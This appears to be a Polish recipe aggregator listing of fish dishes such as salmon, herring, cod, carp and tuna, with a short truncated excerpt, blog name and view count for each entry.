Błyskawiczny przepis na rybę podaną na szpinaku z serem pleśniowym i mozzarellą. Smacznego! Składniki : * 300g surowego łososia  * 200g mrożonego szpinaku  * 50g gorgonzoli  * 100g sera mozzarella  * sól, pieprz * sok z cytryny * plaster cytryny do dekoracji  Przygotowanie : Łos os ia przyprawić, polać soki em z cytryny i usmażyć na oliwie. Zdjąć z patelni, do d ać szpinak

Magiczne Życie Marty
Pasta z makreli i ogórka 176

jogurtu naturalnego 1/2 płaskiej łyżeczki curry w proszku sól i pieprz Mięso z makreli obieramy ze skóry i wyciągamy ości. Rozdrabniamy widelcem. Dodajemy twaróg i rozdrabniamy go razem z rybą widelcem, aby konsystencja była w miarę jednolita. Dodajemy śmietanę, jogurt, ogórka startego ze skórką na tarce o grubych oczkach oraz posiekaną drobno cebulę. Dodajemy curry i mieszamy. Doprawiamy solą

Trzeci talerz
Sałatka z łososiem i jajkiem poszetowym 195

Sałatki na obiad to zdecydowanie moje ulubione dania w styczniu. Przyrządzam je szybko z dużą ilością zielonej sałaty, warzyw lub rybą jak sałatka z łososiem. Do sałatki można użyć smażonego łososia. Podobną sałatkę robię z wędzonym łososiem . Do tej ugotowałam równieć jajko w koszulce czyli jajko poszetowe. Jestem zwolenniczką jajka na miękko ale jajko poszetowe lubię jeszcze bardziej. Kiedy

codojedzenia
Dorsz z jajkiem w koszulce 107

Składniki filet z Dorsza jajko sól, pieprz szczypta lubczyku, tymianku i estragonu odrobina oliwy Przygotowanie Rybę przyprawić solą, pieprzem i usmażyć po minucie z każdej strony. Po zdjęciu z patelni skropić odrobiną soku z cytryny. Do woreczka śniadaniowego wbić jajko, przyprawić szczyptą lubczyku, tymianku, estragonu i soli. Zawinąć i włożyć do wrzątku na 4 minuty. Ja podałam na sałacie

Gaździnka warzy
Łosoś zapiekany w porze 183

plasterki cytryny. Kawałki łososia układać na cytrynie, a na nich położyć cebulę wymieszaną z porem. Folię szczelnie zawinąć. Piec ok. 20 minut w temperaturze 200°C. W czasie kiedy ryba się piecze, przygotować sos. Jogurt wymieszać z wyciśniętym ząbkiem czosnku, solą, pieprzem i tymiankiem. Upieczonego łososia wyłożyć na talerze, posypać kaparami i podawać z sosem czosnkowym

Bullio
Śledzie remoulade z selerem 272

pisałam jakiś czas temu  marynowane śledzie  są bazą wyjściową dla różnych sposobów na przygotowanie tej pysznej ryby. Śledzie remoulade z selerem przygotowywaliśmy jakiś czas temu w trakcie  warsztatów kulinarnych  w Sopocie według przepisu Dominiki Wójciak. Bardzo mi wtedy posmakowały i postanowiłam się zainspirować tym przepisem. Oczywiście do ich przygotowania możecie wykorzystać

Kulinarne przygody Gatity
Łosoś w marynacie z pomarańczy 157

solą oraz pieprzem. Z łososia ściągnąć skórę, wymyć i pokroić na 4 porcje, a następnie zalać marynatą, wymieszać i odłożyć na 30 minut (w międzyczasie kilkakrotnie polewając wierzch marynatą). Rybę (wraz z marynatą) przełożyć do naczynia żaroodpornego wyłożonego papierem do pieczenia/folią i piec 15 minut w 200 stopniach. Przed podaniem skropić sokiem z pomarańczy. Smacznego

Kraina Miodem Płynąca
ZUPA RYBNA Z RYŻEM 137

nadmorskich barów i restauracji. Zupa ta przyrządzona jest raczej w stylu orientalnym. Ma bardzo ciekawy smak, a podana z ryżem jaśminowy smakuje znakomicie. Polecam, także tym, którzy za rybą nie przepadają- jej smak Was zaskoczy!   Składniki: (4-6 porcji) 300 g filetów z dorsza 3 małe marchewki 1 pietruszka 1 cebula 200 g zielonego groszku mrożonego pęczek szczypiorku

Kuchnia MagdaLeny
Sałatka Mimoza 392

własnym 150 g startego sera żółtego mały słoiczek majonezu mała czerwona cebula sól, pieprz szczypiorek  Jajka ugotować na twardo, obrać i zetrzeć na tarce osobno białka i żółtka. Rybę odsączyć i rozdrobnić. Na spód półmiska rozsypać białka, na to żółty ser. Posmarować cienką warstwą majonezu. Wyłożyć warstwę tuńczyka a na to drobno posiekaną cebulę. Posmarować majonezem i posypać startymi

Smakołyki Asi
Łosoś pod pistacjową kołderką 95

Jest to mój pierwszy przepis na łososia. Szukałam przepisu prostego, ciekawego, a przede wszystkim szybkiego. Wyraźnie czuć smak ryby, a lekko słone pistacje świetnie się z nią komponują. Przyciąga nie tylko zapachem, ale i wyglądem. Czas wykonania: 1 h Ilość porcji: 2 porcje Składniki: 300 – 400 g łososia świeżego

KuchniaWeDwoje.pl
Spaghetti z tuńczykiem 115

Spaghetti z rybą – wersja dla wegetarianów i nie tylko:) Czas trwania: 20 min Ilość porcji: 4 porcje Składniki: 400 g makaronu 5-6 pomidorów lub pomidory kawałki w puszce 1 puszka tuńczyka w sosie własnym 1 łyżka przecieru pomidorowego sól pieprz zioła (oregano, zioła prowansalskie, bazylie ) 50 g sera żółtego Przygotowanie: Pomidory obrać ze skóry

KuchniaWeDwoje.pl
Dorsz duszony w cydrze z koperkowymi ziemiakami 132

wlać z powrotem na patelnię. Wlać śmietankę, doprawić do smaku solą, pieprzem, czosnkiem (przeciśniętym przez praskę) i cytryną. Jeśli sos będzie za gęsty podlać odrobiną wody spod ziemniaków. Włożyć rybę i dusić ok 3-5 minut.  Ziemniaki ugotować w osolonej wodzie z dodatkiem dwóch ząbków czosnku, szczypty kminku. Potłuc dodając odrobinę masła i mleka. Wmieszać posiekany koperek i gotowe

Gaździnka warzy
Karp w warzywach 201

patelni, dodajemy startą na grubych oczkach marchewkę, pietruszkę, selera, a także pieczarki. Przyprawiamy solą oraz pieprzem i dusimy do miękkości. 4. W naczyniu do zapiekania układamy naprzemiennie pasek ryby i pasek jarzyn, aż do całkowitego wykorzystania składników. Przykrywamy np. folią aluminiową i zapiekamy w rozgrzanym do 170st C przez ok 25 minut

Kuchnia w czekoladzie
Śledź z suszonymi pomidorami, ogórkiem kiszonym i jabłkiem 223

garść świeżych liści bazylii pieprz do smaku Śledzie pokroiłam w kostkę 2cm x 2cm. Przełożyłam do miseczki Ogórek, pomidory, szalotkę, jabłko i świeże zioła - bardzo drobno posiekałam. Dodałam do ryby Całość bardzo dokładnie wymieszałam i doprawiłam pieprzem Zjadłam

Szczęśliwa kuchnia
Śledź z suszonymi pomidorami, ogórkiem kiszonym i jabłkiem 223

garść świeżych liści bazylii pieprz do smaku Śledzie pokroiłam w kostkę 2cm x 2cm. Przełożyłam do miseczki Ogórek, pomidory, szalotkę, jabłko i świeże zioła - bardzo drobno posiekałam. Dodałam do ryby Całość bardzo dokładnie wymieszałam i doprawiłam pieprzem Zjadłam

www.szczesliwakuchnia.blogspot.com
Śledzie z cieciorką, suszonymi pomidorami i fetą 190

dodać kostki sera i zalać oliwą spod suszonych pomidorów. Sałatka można jeść jak smaki się przegryzą, po paru godzinach. Smacznego :) Kategoria: A-Z WYTRAWNIE , Dania bez glutenu , Dania z rybą , Na specjalne okazje , sałatki i surówki Tagged: cieciorka , feta , suszone pomidory , śledzie

https:KKuchniaMniam
ŁOSOŚ POD PIERZYNKĄ 159

zmiękną. Doprawiam solą i pieprzem. Z folii aluminiowej wycinam dwa kawałki (nieco większe od łososia - aby można było szczelnie je zawinąć), smaruję oliwą. Następnie układam plastry cytryny, rybę, pora i zioła. Na wierzch nakładam śmietanę (na każdy kawałek - po 2 łyżki). Łososia zawijam w folię, piekę 12 minut w 220 stopniach

JejKuchnia
Pieczony karp w cebuli z piwem i rodzynkami 177

nagrzanego do 180*C na około 40 min. Podawać na ciepło i uwaga na ości. Smacznego :) Kategoria: A-Z WYTRAWNIE , Boże Narodzienie , Dania bez glutenu , Dania jednogarnkowe , Dania z rybą , Zapiekanki Tagged: cebula , karp , piwo , rodzynki

https:KKuchniaMniam
Sałatka z tuńczykiem i papryką 223

paprykę umyć. Ogórki pokroić w cienkie plastry. Z papryk usunąć gniazda nasienne i pokroić w kostkę. Tuńczyka osączyć. Szczypiorek przepłukać, osuszyć i posiekać. Makaron wymieszać z warzywami i rybą. Dodać majonez, jogurt i szczypiorek, wymieszać. Doprawić solą i pieprzem ziołowym. Uwaga – sprawdzona rada Sałatka najlepiej smakuje gdy ma temperaturę pokojową :) Życzę smacznego. Komentarze oraz lajki mile widziane :) (adsbygoogle = window.adsbygoogle || []).push

Świat Smaku
Sałatka z tuńczykiem i cieciorką 355

ewentualnie solą. 6. Mieszamy wszystko jeszcze raz i odstawiamy sałakę na dwie godziny. Smacznego życzy Kategoria: Przepisy , Sałatki i surówki Tagged: ciecierzyca , jajko , kukurydza , majonez , na szybko , ogórki , papryka , ryby , sałatka , tuńczyk

Fiołkowa Kuchnia Małgorzaty
pstrąg z piekarnika... 148

nagrzanym piekarniku na 200 C około 25-30 minut, grzanie góra/dół, bez przykrycia piec w termoobiegu na 160 C około 10-15 minut - smaczna, delikatna i sycąca ryba do pieczywa............SMACZNEGO

W Mojej Kuchni Lubię
Jak przygotować zdrowego łososia w parowarze 206

parowaru jest bardzo prosta i z całą pewnością każdy sobie z nią poradzi. Dzisiejsze parowary są tak przygotowane, że możemy za ich pomocą przygotować 3 dania równocześnie np. zupę, rybę/mięso oraz deser. Czas przygotowania posiłków w parowarze jest bardzo krótki, zobaczcie w jaki sposób przygotować łososia w 15 minut . Łosoś z parowaru z zieloną fasolką – składniki filet

Kulinarnyblog.pl - wiesz jak gotować!
Pasta z łososia 136

Smacznego ! Pasta za łososia Czas przygotowania: 15 minut Składniki: 200 g wędzonego łososia 1/2 czerwonej cebuli 1 łyżka kaparów sok z cytryny sól pieprz koperek do ozdoby Wykonanie: Rybę drobno siekamy, cebulę obieramy i drobno kroimy. W misce dokładnie mieszamy łososia, cebulę, sok z cytryny i przyprawy. Na koniec dodajemy drobno pokrojone kapary. Posypujemy koperkiem

Kulinarne przygody Gatity
Awanturka – pasta rybna 107

szczypta soli świeżo zmielony czarny pieprz po pół łyżeczki słodkiej papryki w proszku i wędzonej lub ostrej papryki w proszku szczypiorek lub dymka do dekoracji Jak przygotować pastę z ryby i twarożku? Cebulę posolić. Zmiksować wszystkie składniki oprócz szczypiorku, który idzie dopiero na wierzch kanapki. Artykuł Awanturka – pasta rybna pochodzi z serwisu Ugotowane Pozamiatane

Ugotowane pozamiatane
Wolno pieczony łosoś w cytrynowym sosie budyniowym -curd 203

Łosoś to moja ulubiona ryba, a kiedy podaje ją w gładziutkim jak muslin cytrynowym sosie budyniowym, ślinianki na samą myśl zaczynaja wariować. SKŁADNIKI: 600 g filet a z łososia ze skórą 40 ml soku z cytryny 2 jajka 1 łyżka miodu 25 g masła śmietankowego (82%) 50 g ostrej musztardy 3 łyżki posiekanego koperku Wykonanie: Nagrzać piekarnik

Sztuka gotowania w/g Samiry
Śledzie w cieście piwnym 134

cytryny. jajko wybijamy do miseczki dodajemy piwo i mieszamy, następnie dodajemy sól i pieprz oraz mąki tyle by ciasto miało konsystencję gęstniejącej śmietanki i nadawało się do maczania ryb. Śledzie osuszamy w ręczniku papierowym, maczamy w cieście i smażymy na złoty kolor na patelni zwilżonej olejem. Podajemy na ciepło lun zimno

Gotowanie jest łatwe
Tuńczyk z salsą z awokado, limonki i pomarańczy (Tonno con salsa al lime, avocado e arancia) 188

kolendrą, solą i pieprzem. Dodajemy pomarańcze, cebulę i awokado. Całość mieszamy i odstawiamy do lodówki na ok. 15 minut. Steki z tuńczyka doprawiamy solą i pieprzem. Rybę grillujemy ok. 2 minut z każdej strony. Steki serwujemy z dodatkiem salsy, kawałkami limonki i listkami świeżej kolendry. **** PREPARAZIONE Pulite la cipolla e tagliatela a fette sottili. Sbucciate a vivo

La grande e la piccola cuoca
Zestawienie moich najlepszych przepisów na Święta! 215

żurawiną Szybka sałatka z tuńczykiem Ciasto korzenne z gruszkami i daktylami Śledzie w sosie miodowo-musztardowym Moja ulubiona sałatka z kurczakiem i ananasem Karp zapiekany z pieczarkami Świąteczne brownie Ryba z pieczarkami w sosie śmietanowym Ciasto z jabłkami, żurawiną i korzennym karmelem Karp w całości zapiekany z pieczarkami Śledź z suszonymi grzybami i śliwkami Zupa krem z pieczonych buraków

karmelowy
Pierogi z karpiem 209

przygotowany wywar gotujemy ok. 30 minut. Po tym czasie studzimy. Marchew, grzyby drobno kroimy, możemy zmiksować, podobnie natkę i część korzenia pietruszki. Drobno posiekaną cebulę podsmażamy na maśle. Mięso ryby oddzielamy od skóry i ości, drobno szarpiemy i łączymy z warzywami. Doprawiamy jałowcem, koperkiem, skórką otartą z cytryny, solą i pieprzem. Pierogi gotowe do lepienia. Smacznego! Farsz można wzbogacić serem

MarcinChef
Sałatka ziemniaczana ze śledziem 210

oczywiście na Wigilię również przygotuję, ale chciałbym wypróbować też jego alternatywna odmianę - a mianowicie śledzia w sałatce ziemniaczanej .  Jak dla mnie jest to połączenie idealne, bo mocno solona ryba wyjątkowo dobrze komponuje się z trochę niewyraźnym w smaku ziemniakiem . Do tego kawałek świeżego ogórka oraz rzodkiewki i sałatka nabiera już intensywniejszego smaku. Całość zwieńczona aromatyczną czerwoną cebulą oraz sosem

Grunt to przepis!
Tofu po grecku 183

pora brać się za szykowanie potraw! Na pierwszy ogień proponujemy klasykę w wegańskim wydaniu, czyli tofu po grecku. Za sprawą płatków nori nasze tofu zamieni się w a'la rybę, a mieszanka warzyw podkręci smak. Tofu po grecku Przepis na ok. 4 porcje Potrzebujemy: 1 kostka tofu naturalnego 180 g 1 duża cebula 2 duże marchewki 1 średnia pietruszka

Bananowe Pole
Śledzie po kaszubsku 1113

mojej rodzinie od zawsze to mój Brat przygotowuje ryby, jest ich miłośnikiem i zna się na nich jak nikt inny. Nie omieszkam wspomnieć, że wychodzi mu to perfekcyjnie więc nigdy na stół Świąteczny nie przygotowałam potraw z tej kategorii smakowej, aż do tego roku. Uważam, że trzeba spróbować wszystkiego i tak też w pierwszej kolejności padło na takie

Kulinarny Świat Konczi i Szpileczki
Gravlax - marynowany łosoś (Gravlax - salmone marinato) 162

PRZYGOTOWANIE Łososia dokładnie myjemy i oczyszczamy z łusek. W miseczce mieszamy cukier, sól i pieprz rozgnieciony w moździerzu. W naczyniu układamy łososia skórą do dołu. Rybę nacieramy przyprawami a wierzch obkładamy posiekanym koperkiem. Łososia przykrywamy folią spożywczą, obciążamy np. deseczką, 1-2 słoikami  i odstawiamy do lodówki na przynajmniej

La grande e la piccola cuoca
Dorsz w sosie śmietanowym z dodatkiem kurkumy z suszonym pomidorem, bazylią i pomidorkami 177

masło klarowne  Dorsza myjemy, osuszamy ręcznikiem papierowym, oprószamy z obu stron solą i pieprzem, odkładamy na około 30 minut. Po tym czasie na patelni rozgrzewamy masło i smażymy rybę z obu stron. Jak rybka będzie prawie gotowa, to dodajmy pokrojone na połówki pomidorki koktajlowe, pokrojone w paski suszone pomidory i chwilkę podsmażamy. Wlewamy śmietankę, dodajemy kurkumę, świeże, umyte listki

kruche babeczki
Tarta z tuńczykiem, kukurydzą i groszkiem w sosie pomidorowym 153

przygotowałam na kolację, co pewnie widać po zdjęciach ;) tarta koniecznie do powtórzenia! Więc i nowe zdjęcia będą :) W tej wersji sprawdzi się doskonale na świątecznym stole, bo jest z rybą, a przy tym wygląda efektownie zarówno w całości jak i w przekroju. Do przygotowania jest prosta, szybka (nie licząc czasu chłodzenia ciasta, ale można je sobie przygotować wcześniej) i oczywiście

Kolorowy Przepisownik
SOS HOLENDERSKI (LCHF, keto, optymalny, ketogeniczny) 210

holenderski sprawdzi się idealnie wśród osób na LCHF. Przygotowanie zajmuje zaledwie 10 minut więc naprawdę warto stosować go w kuchni. Kremowy i subtelny, idealnie komponuje się z jajkami, rybami bądź warzywami np. szparagami   Składniki: 100 g masła 4 żółtka sok z 1/2 cytryny sól pieprz biały Masło rozpuścić w rondelku pilnując by się nie przypaliło. Żółtka ubić za pomocą

Ola la LCHF
Zapiekanka ziemniaczana z miruną 281

krążki podduszamy na patelni na maśle i oliwie do miękkości, wlewamy śmietankę, doprawiamy sola oraz pieprzem do smaku, gotujemy chwilę ze śmietanką, gdy zacznie gęstnieć zestawiamy z ognia, zalewamy rybę w naczyniu , posypujemy połową startego sera żółtego na wierzchu rozkładamy plastry ziemniaków, posypujemy przyprawą do ziemniaków i resztą startego sera.  Naczynie przykrywamy folią aluminiową.  Zapiekamy 40 minut

Wanilia i Kardamon
Sandacz w rieslingu 136

łyżce masła. Zabezpieczyłem przed wystygnięciem. Filety sandacza przekroiłem wzdłuż na połówki, a następnie pokroiłem na kawałki o wadze 5-7 dag. Oprószyłem solą. Wino zagotowałem na patelni, włożyłem ryby, przykryłem. Dusiłem 3 minuty na małym ogniu, następnie filety odwróciłem i dusiłem kolejne 3 minuty. Przełożyłem na ogrzany półmisek. Do wina wlałem śmietanę, gotowałem bez pokrywki tak długo, aż 1/3 odparowała

R'n'G Kitchen
15 GRUDNIA- RYBY NA ŚWIĄTECZNYM STOLE- TORUŃ 149

stole! Zapiszcie się już dziś na warsztaty z Patrykiem Młynarczykiem, które odbędą się już 15 grudnia w Toruniu przy ulicy Lelewela 33 o godzinie 17:30. Artykuł 15 GRUDNIA- RYBY NA ŚWIĄTECZNYM STOLE- TORUŃ pochodzi z serwisu CookMagazine

COOKMAGAZINE
Mielone z dorszem z ryżem i pieczarkami 132

Obiad prosty,lekki i zdrowy. Polecam klopsiki z dorsza bo są naprawdę dobre. Nawet osoby które nie przepadają za rybami mogą się do nich przekonać bo mają sporo dodatków innych. 1 woreczek ryżu 25 dkg filetu z dorsza 4 pieczarki średnie 1 marchewka mała sól, pieprz 1 jajko 1 mała bułka 1/2 szklanki mleka pozostałe: bułka tarta do obtoczenia natka

wesoła kuchnia
Jaglane klopsiki z łososiem w sosie pomidorowym 164

szpinak straci na objętości, a klopsiki będą gotowe. Można podawać. Smacznego :) Kategoria: A-Z WYTRAWNIE , Dania bez glutenu , Dania z kaszą , Dania z patelni , Dania z rybą , Obiad Tagged: kasza jaglana , sos , sos sojowy , suszone pomidory , szpinak , łosoś

https:KKuchniaMniam
Polędwica z dorsza pieczona z pomidorami 160

Taki obiad lubię najbardziej - ryba (bez ości;), ziemniaki i jakaś domowa surówka lub brokuły z kalafiorem i masełkiem. Zamiast ziemniaków można podać rybkę z kaszą jaglaną lub inną ulubioną z dodatkiem warzyw. Dodatkowo jest zdrowo, a dzięki świeżym ziołom nie tylko smacznie, ale też aromatycznie. Składniki: 350 g polędwicy z dorsza 2 plasterki cytryny 2 plastry pomidora garść

Zasmakuj Kuchni
Rolada szpinakowa z łososiem i kremowym serkiem 7426

szpinaku, posmarowana kremowym serkiem i nadziana wędzonym łososiem. Wbrew pozorom bezproblemowa i szybka w przygotowaniu- z samym ciastem szpinakowym zabawa jest bardzo przyjemna, reszta, czyli posmarowanie serkiem i wyłożenie rybą, to już przysłowiowa bułka z masłem 😄 W świąteczny klimat wpasuje się kapitalnie (czy na zbliżającą się małymi krokami karnawał, hmmm?). * mrożony szpinak w całych liściach - 350 g * jajka

Kraina Miodem Płynąca
Śledź marynowany z cebulą 190

łyżki pasty kawiorowej 2 łyżki cremé fraiche Śledzie namocz w zimnej wodzie. Mocz tak długo, zmieniając wodę, aż śledzie będą wystarczająco słone.Pokrój cebulę i por w krążki, a ryby w plasterki. Ułóż w słoiku śledzie na przemian z cebulą. Ugotuj zalewę octową i ostudzoną zalej śledzie. Zamknij słoik i wstaw do lodówki. Śledzie muszą się przegryść ale już

codojedzenia
PASTA Z TUNCZYKA 130

Zdrowe ryby trzeba jeść. Nie może zabraknąć ich w naszej codziennej diecie ze względu na kwasy Omega 3. Można przygotowywać je w różnej postaci. Jedną z nich jest pasta, czyli smarowidło na kanapki. Dodatki to już kwestia gustu. Zazwyczaj to jest majonez, musztarda, ogórek konserwowy, kiszony, papryka lub jaja na twardo. Moja pasta jest nieco ostra, ale nie przesadnie

Kuchnia Paulettes
Carpaccio z Tuńczykiem, grzybami shiro-shimeji i nutką oliwy truflowej 182

plastry albo zgrabne jak na zdjęciu   i robimy marynatę. Sok z limonki , miód,sos sojowy,oliwa, łączymy i zalewamy naszego tuńczyka , delikatnie mieszamy tak by marynata pokryła nam rybę Odstawiamy na 2 godziny do lodówki pod przykryciem . Zajmujemy się grzybami. Oczyszczamy , myjemy osuszamy . Następnie rozpuszczamy masło dodajemy ząbek rozgniecionego czosnku Pietruszkę i szklimy grzyby kilka chwil. Dekorujemy wedle uznania

Viola cooks with passion
Do jakich posiłków pasuje białe wino? 173

kolacji, z kolei półsłodkie i słodkie głównie do deserów, niemniej jednak również może towarzyszyć potrawom obiadowym i na kolację. Do jakich dań można podać białe wino? owoce morza ryby wędliny pasztety i wątróbki drób sery grzyby (poza prawdziwkami) Należy pamiętać również o tym, aby wino podawać w odpowiedniej temperaturze. Wino białe wytrawne, lekko wytrwane, półwytrawne, powinno się podawać w temperaturze

Kulinarnyblog.pl - wiesz jak gotować!
Duszony łosoś z koperkiem 173

koperkiem Doprawić odrobiną soli i pieprzu Zawinąć w folię aluminiową i piec w piekarniku rozgrzanym przez około 15-20 minut Podałam z kaszą i zieloną sałatą z jogurtem naturalnym. Rybę można także ugotować na parze lub usmażyć na patelni. Smacznego :) W myśl akcji

Szczęśliwa kuchnia
Pstrąg łososiowy w migdałach z sałatką z oliwą truflową 156

białego sezamu ➦  1 płaska łyżeczka nasion chia Filet umyć i osuszyć ręcznikiem papierowym. Jeśli to koniecznie - oczyścić z ości. Przełożyć do naczynia żaroodpornego Nastawić piecyk na 200 stopni Rybę skropić oliwą z oliwek, doprawić solą morską, pieprzem cytrynowym oraz tymiankiem Całość obsypać płatkami migdałowymi Wstawić do nagrzanego piecyka i piec 20 minut Przygotować sałatkę : sałatę ułożyć na talerzu, pomidor

Szczęśliwa kuchnia
Śledzie w śmietanie z buraczkami i pęczakiem 301

połączyć i odstawić na godzinę, aby smaki się przegryzły. Śmietana z czasem będzie nabierała intensywniejszego różowego koloru. Smacznego :) Kategoria: A-Z WYTRAWNIE , Boże Narodzienie , Dania z kaszą , Dania z rybą , sałatki i surówki Tagged: buraki , kasza jęczmienna , śledzie , śmietana

https:KKuchniaMniam
Polędwica z dorsza pieczona z marchewką i suszonymi pomidorami 158

głowę (na dwie osoby, mega pyszna i zdrowa porcja;), umyłam, osuszyłam delikatnie ręcznikiem papierowym; przygotowałam dwa kawałki folii aluminiowej, w które miałam owinąć dwa kawałki ryby; marchewkę obrałam, starłam na tarce o większych oczkach; na kawałku folii układałam kawałek polędwicy, przyprawiłam solą i pieprzem z obu stron, nałożyłam na wierzch tartą marchewkę, ułożyłam plaster cytryny i po suszonym pomidorze, polałam

Zasmakuj Kuchni
Spaghetti z śmietanowym tuńczykiem 172

osobnym garnku rozpuszczamy masło klarowane. Cebule kroimy w drobna kostkę, czosnek przeciskamy i szklimy na rozgrzanym tłuszczu. Dodajemy tuńczyka wraz z zalewą. Mieszamy delikatnie aby nie zrobić z ryby miazgi. Łyżkę mąki mieszamy ze śmietanką i dolewamy do tuńczyka z cebulką. Doprawiamy do smaku solą i białym pieprzem. Dekorujemy gałązką świeżego tymianku

Pyry na Gaz
Ryż po tajsku wg.Katarzyny Meller oraz KONKURS. 161

rodzinnego domu.Książka super wydana, oprawa twarda, a co najważniejsze ma tasiemkę do zakładania przepisów ! Wraz z córką przygotowałam z książki Ryż po tajsku. Na talerz w kształcie ryby , Sara- moja pomocnica- wyłożyła danie i własnoręcznie je udekorowała. Można rzec, że pala miłością do świeżych warzyw i mnóstwa zieleniny. Składniki 400 g ryżu basmati 100 g krewetek mrożonych marchewka

Z Kuchni Do Kuchni
Janssons frestelse - kremowa zapiekanka po szwedzku 1003

teorii głosi, iż nazwa pochodzi od nazwiska słynnego szwedzkiego śpiewaka operowego, Pelle Janzona. Podobno przygotował ją z produktów znalezionych w swojej lodówce podczas niezapowiedzianej wizyty gości. Połączenie ziemniaków, cebuli, ryby oraz śmietany dało zaskakujący efekt! Po tym, jak pierwszy przepis na tę zapiekankę został opublikowany w 1940r., stała się ona absolutnym klasykiem kuchni szwedzkiej. Często przygotowuje się to danie

Kuchnia w Słońcu Skąpana
Surówka z kapusty kiszonej z oliwą z oliwek Sabino Leone od Almy. Tradycja smaku 169

font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Oto pyszna domowa surówka obiadowa. Sprawdzi się do pysznego obiadu piątkowego z rybą w roli głównej. Taką surówkę pamiętam z dzieciństwa i taką właśnie ostatnio zrobiła mi Mama do smażonego amura na pyszny wspólny obiadek. Do surówki użyłyśmy pysznej oliwy z oliwek Sabino

Kuchnia po mojemu
Pstrąg łososiowy w migdałach z sałatką z oliwą truflową 162

białego sezamu ➦  1 płaska łyżeczka nasion chia Filet umyć i osuszyć ręcznikiem papierowym. Jeśli to koniecznie - oczyścić z ości. Przełożyć do naczynia żaroodpornego Nastawić piecyk na 200 stopni Rybę skropić oliwą z oliwek, doprawić solą morską, pieprzem cytrynowym oraz tymiankiem Całość obsypać płatkami migdałowymi Wstawić do nagrzanego piecyka i piec 20 minut Przygotować sałatkę : sałatę ułożyć na talerzu, pomidor

www.szczesliwakuchnia.blogspot.com
Pstrągi z masłem koperkowym pieczone na ziemniakach 123

łusek. Nacieram go z każdej strony (także, a nawet przede wszystkim w środku)solą i pieprzem, polewam sokiem z cytryny. Masło mieszam z posiekanym koperkiem, wkładam do każdej z ryb.  Gdy ziemniaki są już miękkie układam na nich pstrągi i piekę jeszcze 10-15 minut. Smacznego

Cook&Love
Pasta śledziowa do pieczywa 207

śledzi w sosie paprykowym 2 jajka średnia biała cebula 2 ogórki kiszone ½ pęczka natki pietruszki sól, świeżo mielony czarny pieprz Sposób przygotowania: Jajka ugotować na twardo. Wystudzić. Jajka i ryby wraz z sosem umieścić w misce i rozdrobnić widelcem. Cebule i ogórka posiekać w drobniutką kostkę. Natkę pietruszki drobno posiekać. Całość wymieszać i doprawić do smaku solą i świeżo mielonym

Pyry na Gaz
Karp sauté z majerankiem i sosem z borowików 168

smażycie na mocno rozgrzanym oleju po kilka minut z każdej strony. Solicie po usmażeniu. Składniki zgarniacie z półek w Lidlu . Przepis jest modyfikacją tego, który jest w książce Ryby są super

GRUBY WAŁEK
Pstrąg łososiowy pieczony z warzywami. 351

warzywa, na wierzchu ułożyć pstrąga skórą do dołu, skropić oliwą i posypać ziołami prowansalskimi. Wstawić do piekarnika nagrzanego do temperatury 180ºC i piec przez 20 - 25 minut. Rybę podawać z pieczonymi ziemniakami. Smacznego

Zakątek rozkoszy kulinarnych
Surówka z sałaty lodowej i pomidorków 154

surówka do obiadu - sałata, pomidorki, marchewka i winegret - tyle potrzeba, gdy po raz kolejny zastanawiacie się, co podać "trzecie do drugiego" :) Świetnie pasuje zarówno do mięs, jak i do ryb :)  SKŁADNIKI (dla 2 osób  - 1 porcja - 130 kcal) 5 liści sałaty lodowej 200 g pomidorków koktajlowych 1 średnia marchewka pieprz, zioła prowansalskie Sos: 2 łyżeczki  musztardy

Moje Kuchenne Rewelacje
Ryba po grecku na ciepło lub na zimno 168

Ryba po grecku dobrze smakuje zarówno na ciepło jak i na zimno. W niektórych domach jest obowiązkowym daniem spożywanym podczas kolacji wigilijnej. Czytaj dalej

Przepisy Kulinarne
Rybna pasta z makreli i łososia 183

Bardzo lubimy pasty a szczególnie rybne. Jak nie robię to nie robię, ale jak zacznę to robię bardzo często. Tak jest teraz, dopiero była z soczewicą i rybą a teraz taka. Dziś pastę z wędzonego łososia i makreli z jajkiem i cebulką. Taka pasta świetnie smakuje z pieczywem na śniadanie lub kolację. Do pasty użyłam dla podkręcenia smaku musztardy, którą

Ewa w kuchni
Łosoś i szpinak razem w pakiecie, czyli pakieciki z ciasta francuskiego na romantyczną kolację lub domową imprezę 300

ważny - sama nie wiem, jak te dni lecą mi przez palce... Dziś proponuję danie, które powstało przypadkiem (jak samo ciasto francuskie), gdy miałam większość składników w lodówce, ochotę na rybę i niewiele czasu do przyjścia gości... Pakieciki z ciasta francuskiego ze szpinakiem i łososiem Składniki: opakowanie ciasta francuskiego chłodzonego opakowanie mrożonego szpinaku ser typu feta 1 średnia cebula 2 ząbki

dobra gospodyni dom wesołym czyni
Mule w białym winie, czosnku i pietruszce 178

jeśli lubicie owoce morza, a może się przekonacie?:) musicie spróbować. Kiedyś nie przepadałam za owocami morza. Dlaczego? Bo wywodzę się z domu, w którym jedynym owocem morza była smaczna ryba w przeróżnych odsłonach:) Stąd pewnie na początku niechęć, lecz czasem trzeba się przemóc i spróbować. Choćby po to, by faktycznie sprawdzić czy czegoś nie lubimy czy nie:) Ja polubiłam

Zasmakuj Kuchni
Makaron z warzywami, łososiem o nucie cytrynowej (z lekko słodko gorzkim posmakiem) 172

mnie przyjemność, relaks, smakowita zabawa. Moim dzieciom z makaronu proste dania wyczarowuję, a mężowi ze względu na pasję do biegania maratonów, makaron też gotuję. Łączę je z warzywami, mięsami, rybami, czasem serami posypuję czy z sosami przygotowuję. Makaronowe dania są dla mnie idealne, krótko mówiąc smakowo genialne. Składniki na 2 porcje: (czas. max 20 min) 4 gniazda makaronu Lubella Pełne

Moniki Smakołyki
Pasta z makreli 159

Coś na kanapki..bez mięsa...bo rybka wędzona..a dokładniej pasta z ryby wędzonej , jajek i ogórka kiszonego.. 2 makrele wędzone  3 jajka ugotowane na twardo  1 cebula 2 ogórki kiszone 1- 2 łyżki majonezu  1 -2 łyżeczki koncentratu pomidorowego lub ketchupu  sól,pieprz Jajka ugotować na twardo, obrać i pokroić w drobną kostkę. Ogórki

Moje domowe kucharzenie
Domowy paprykarz z tuńczykiem 126

